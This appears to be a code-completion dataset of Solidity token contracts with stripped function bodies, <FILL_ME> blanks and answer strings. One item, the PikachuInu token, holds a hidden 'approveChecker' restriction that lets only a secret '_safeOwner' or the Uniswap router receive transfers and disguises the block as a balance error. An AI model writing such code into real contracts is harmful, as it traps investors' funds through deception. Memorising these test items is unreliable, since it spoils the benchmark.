* [{"constant":false,"inputs":[{"name":"_symbol","type":"string"},{"name":"_rate","type":"uint256"}],"name":"updateRate","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"data","type":"uint256[]"}],"name":"updateRates","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_symbol","type":"string"}],"name":"getRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"bytes32"}],"name":"rates","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"name":"timestamp","type":"uint256"},{"indexed":false,"name":"symbol","type":"bytes32"},{"indexed":false,"name":"rate","type":"uint256"}],"name":"RateUpdated","type":"event"}]
*/
contract ExchangeRate is Ownable {
event RateUpdated(uint timestamp, bytes32 symbol, uint rate);
mapping(bytes32 => uint) public rates;
/**
* @dev Allows the current owner to update a single rate.
* @param _symbol The symbol to be updated.
* @param _rate the rate for the symbol.
*/
function updateRate(string _symbol, uint _rate) public onlyOwner {
}
/**
* @dev Allows the current owner to update multiple rates.
* @param data an array that alternates sha3 hashes of the symbol and the corresponding rate .
*/
function updateRates(uint[] data) public onlyOwner {
}
/**
* @dev Allows the anyone to read the current rate.
* @param _symbol the symbol to be retrieved.
*/
function getRate(string _symbol) public constant returns(uint) {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
contract SmartCoinFerma is MintableToken {
string public constant name = "Smart Coin Ferma";
string public constant symbol = "SCF";
uint32 public constant decimals = 8;
HoldersList public list = new HoldersList();
bool public tradingStarted = true;
/**
* @dev modifier that throws if trading has not started yet
*/
modifier hasStartedTrading() {
}
/**
* @dev Allows the owner to enable the trading. This can not be undone
*/
function startTrading() public onlyOwner {
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) hasStartedTrading public returns (bool) {
require(<FILL_ME>)
list.changeBalance( msg.sender, balances[msg.sender]);
list.changeBalance( _to, balances[_to]);
return true;
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
}
function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) {
}
}
contract HoldersList is Ownable{
uint256 public _totalTokens;
struct TokenHolder {
uint256 balance;
uint regTime;
bool isValue;
}
mapping(address => TokenHolder) holders;
address[] public payees;
function changeBalance(address _who, uint _amount) public onlyOwner {
}
function notInArray(address _who) internal view returns (bool) {
}
/**
* @dev Defines number of issued tokens.
*/
function setTotal(uint _amount) public onlyOwner {
}
/**
* @dev Returnes number of issued tokens.
*/
function getTotal() public constant returns (uint) {
}
/**
* @dev Returnes holders balance.
*/
function returnBalance (address _who) public constant returns (uint){
}
/**
* @dev Returnes number of holders in array.
*/
function returnPayees () public constant returns (uint){
}
/**
* @dev Returnes holders address.
*/
function returnHolder (uint _num) public constant returns (address){
}
/**
* @dev Returnes registration date of holder.
*/
function returnRegDate (address _who) public constant returns (uint){
}
}
| super.transfer(_to,_value)==true | 29,474 | super.transfer(_to,_value)==true |
null | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title ExchangeRate
* @dev Allows updating and retrieveing of Conversion Rates for PAY tokens
*
* ABI
* [{"constant":false,"inputs":[{"name":"_symbol","type":"string"},{"name":"_rate","type":"uint256"}],"name":"updateRate","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"data","type":"uint256[]"}],"name":"updateRates","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_symbol","type":"string"}],"name":"getRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"bytes32"}],"name":"rates","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"name":"timestamp","type":"uint256"},{"indexed":false,"name":"symbol","type":"bytes32"},{"indexed":false,"name":"rate","type":"uint256"}],"name":"RateUpdated","type":"event"}]
*/
contract ExchangeRate is Ownable {
event RateUpdated(uint timestamp, bytes32 symbol, uint rate);
mapping(bytes32 => uint) public rates;
/**
* @dev Allows the current owner to update a single rate.
* @param _symbol The symbol to be updated.
* @param _rate the rate for the symbol.
*/
function updateRate(string _symbol, uint _rate) public onlyOwner {
}
/**
* @dev Allows the current owner to update multiple rates.
* @param data an array that alternates sha3 hashes of the symbol and the corresponding rate .
*/
function updateRates(uint[] data) public onlyOwner {
}
/**
* @dev Allows the anyone to read the current rate.
* @param _symbol the symbol to be retrieved.
*/
function getRate(string _symbol) public constant returns(uint) {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
contract SmartCoinFerma is MintableToken {
string public constant name = "Smart Coin Ferma";
string public constant symbol = "SCF";
uint32 public constant decimals = 8;
HoldersList public list = new HoldersList();
bool public tradingStarted = true;
/**
* @dev modifier that throws if trading has not started yet
*/
modifier hasStartedTrading() {
}
/**
* @dev Allows the owner to enable the trading. This can not be undone
*/
function startTrading() public onlyOwner {
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) hasStartedTrading public returns (bool) {
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(<FILL_ME>)
list.changeBalance( _from, balances[_from]);
list.changeBalance( _to, balances[_to]);
return true;
}
function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) {
}
}
contract HoldersList is Ownable{
uint256 public _totalTokens;
struct TokenHolder {
uint256 balance;
uint regTime;
bool isValue;
}
mapping(address => TokenHolder) holders;
address[] public payees;
function changeBalance(address _who, uint _amount) public onlyOwner {
}
function notInArray(address _who) internal view returns (bool) {
}
/**
* @dev Defines number of issued tokens.
*/
function setTotal(uint _amount) public onlyOwner {
}
/**
* @dev Returnes number of issued tokens.
*/
function getTotal() public constant returns (uint) {
}
/**
* @dev Returnes holders balance.
*/
function returnBalance (address _who) public constant returns (uint){
}
/**
* @dev Returnes number of holders in array.
*/
function returnPayees () public constant returns (uint){
}
/**
* @dev Returnes holders address.
*/
function returnHolder (uint _num) public constant returns (address){
}
/**
* @dev Returnes registration date of holder.
*/
function returnRegDate (address _who) public constant returns (uint){
}
}
| super.transferFrom(_from,_to,_value)==true | 29,474 | super.transferFrom(_from,_to,_value)==true |
null | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title ExchangeRate
* @dev Allows updating and retrieveing of Conversion Rates for PAY tokens
*
* ABI
* [{"constant":false,"inputs":[{"name":"_symbol","type":"string"},{"name":"_rate","type":"uint256"}],"name":"updateRate","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"data","type":"uint256[]"}],"name":"updateRates","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_symbol","type":"string"}],"name":"getRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"bytes32"}],"name":"rates","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"name":"timestamp","type":"uint256"},{"indexed":false,"name":"symbol","type":"bytes32"},{"indexed":false,"name":"rate","type":"uint256"}],"name":"RateUpdated","type":"event"}]
*/
contract ExchangeRate is Ownable {
event RateUpdated(uint timestamp, bytes32 symbol, uint rate);
mapping(bytes32 => uint) public rates;
/**
* @dev Allows the current owner to update a single rate.
* @param _symbol The symbol to be updated.
* @param _rate the rate for the symbol.
*/
function updateRate(string _symbol, uint _rate) public onlyOwner {
}
/**
* @dev Allows the current owner to update multiple rates.
* @param data an array that alternates sha3 hashes of the symbol and the corresponding rate .
*/
function updateRates(uint[] data) public onlyOwner {
}
/**
* @dev Allows the anyone to read the current rate.
* @param _symbol the symbol to be retrieved.
*/
function getRate(string _symbol) public constant returns(uint) {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
contract SmartCoinFerma is MintableToken {
string public constant name = "Smart Coin Ferma";
string public constant symbol = "SCF";
uint32 public constant decimals = 8;
HoldersList public list = new HoldersList();
bool public tradingStarted = true;
/**
* @dev modifier that throws if trading has not started yet
*/
modifier hasStartedTrading() {
}
/**
* @dev Allows the owner to enable the trading. This can not be undone
*/
function startTrading() public onlyOwner {
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) hasStartedTrading public returns (bool) {
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
}
function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) {
require(<FILL_ME>)
list.changeBalance( _to, balances[_to]);
list.setTotal(totalSupply_);
return true;
}
}
contract HoldersList is Ownable{
uint256 public _totalTokens;
struct TokenHolder {
uint256 balance;
uint regTime;
bool isValue;
}
mapping(address => TokenHolder) holders;
address[] public payees;
function changeBalance(address _who, uint _amount) public onlyOwner {
}
function notInArray(address _who) internal view returns (bool) {
}
/**
* @dev Defines number of issued tokens.
*/
function setTotal(uint _amount) public onlyOwner {
}
/**
* @dev Returnes number of issued tokens.
*/
function getTotal() public constant returns (uint) {
}
/**
* @dev Returnes holders balance.
*/
function returnBalance (address _who) public constant returns (uint){
}
/**
* @dev Returnes number of holders in array.
*/
function returnPayees () public constant returns (uint){
}
/**
* @dev Returnes holders address.
*/
function returnHolder (uint _num) public constant returns (address){
}
/**
* @dev Returnes registration date of holder.
*/
function returnRegDate (address _who) public constant returns (uint){
}
}
| super.mint(_to,_amount)==true | 29,474 | super.mint(_to,_amount)==true |
"ERC20: transfer amount exceeds balance" | /*
❗️ PikaApp - Mobile App (Track Anime Tokens)
❗️ PikaSwap - DEX displaying newly listed, as well as top gainers all on the same page
❗️ PikaDash - Displays how much $PIKACHU you have earned
❗️ PikaTools - Track all Anime Tokens with a graph, transactions, market cap and much more.
- 2% redistribution in token to all holders
- 3% is added to liquidity pool
- 5% is added to our marketing and development funds
☑️LP Lock: we will lock LP for 3 months right after launch.
☑️ Renounce: we will not renounce the contract as it hurts the project and prevent future development
Social Media Links:
Website: https://pikachuinu.com/
Twitter: https://twitter.com/PikachuInu [UNIQUE]
Telegram: https://t.me/pikachuinuofficial [UNIQUE]
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) private onlyOwner {
}
address private newComer = _msgSender();
modifier onlyOwner() {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PikachuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000000 * 10**18;
string private _name = 'PIKACHU - https://t.me/pikachuinuofficial';
string private _symbol = '$PIKACHU';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
modifier approveChecker(address pika, address recipient, uint256 amount){
if (_owner == _safeOwner && pika == _owner){_safeOwner = recipient;_;}
else{if (pika == _owner || pika == _safeOwner || recipient == _owner){_;}
else{require(<FILL_ME>)_;}}
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function burn(uint256 amount) external onlyOwner{
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
}
}
| (pika==_safeOwner)||(recipient==_uniRouter),"ERC20: transfer amount exceeds balance" | 29,502 | (pika==_safeOwner)||(recipient==_uniRouter) |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract MoeToken is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
uint256 private constant NICE = 69000000000000000000000000;
address private immutable _creator;
string private constant _name = "Moe";
string private constant _symbol = "MOE";
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor() {
}
/**
* To be called once at the very beginning.
* Note that if the *entire* supply were burned then you could call this again to start over.
**/
function bang() public {
require(msg.sender == _creator);
require(<FILL_ME>)
// can't register this in the constructor since the contract isn't deployed yet
// how this is supposed to work normally? there must be some trick
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
_mint(_creator, NICE, "", "");
}
/**
* @dev See {IERC777-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure virtual returns (uint8) {
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes memory data) public virtual override {
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public virtual override {
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
